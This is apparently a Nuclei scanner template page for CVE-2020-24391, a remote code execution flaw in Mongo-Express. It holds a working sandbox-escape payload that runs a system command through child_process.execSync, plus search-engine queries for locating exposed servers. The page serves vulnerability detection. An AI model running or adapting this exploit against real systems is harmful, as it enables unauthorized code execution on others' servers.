Mongo-Express - Remote Code Execution
ID: CVE-2020-24391
Severity: critical
Author: leovalcante
Tags: cve,cve2020,mongo,express,rce,intrusive,mongo-express_project,node.js
Description
Section titled “Description”Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.
YAML Source
Section titled “YAML Source”id: CVE-2020-24391
info: name: Mongo-Express - Remote Code Execution author: leovalcante severity: critical description: Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. remediation: | Apply the latest security patches or updates provided by the vendor to fix this vulnerability. reference: - https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/ - https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a - https://nvd.nist.gov/vuln/detail/CVE-2020-24391 - https://github.com/mongodb-js/query-parser/issues/16 - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-24391 epss-score: 0.55667 epss-percentile: 0.97606 cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:* metadata: max-request: 3 vendor: mongo-express_project product: mongo-express framework: node.js shodan-query: http.title:"mongo express" fofa-query: title="mongo express" google-query: intitle:"mongo express" tags: cve,cve2020,mongo,express,rce,intrusive,mongo-express_project,node.js
http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} - | POST /checkValid HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++ - | GET /public/css/{{randstr}}.css HTTP/1.1 Host: {{Hostname}}
matchers-condition: and matchers: - type: regex part: body_3 regex: - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
- type: status status: - 200
extractors: - type: regex regex: - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"# digest: 4b0a0048304602210097968f42b5d7b9dc80e78903600cd101abb709ff090126d2283755eff2ab715f022100828efb3ca7d2ac4d8428524b82d46206312331def7753e386c9b89f3c862655a:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-24391.yaml"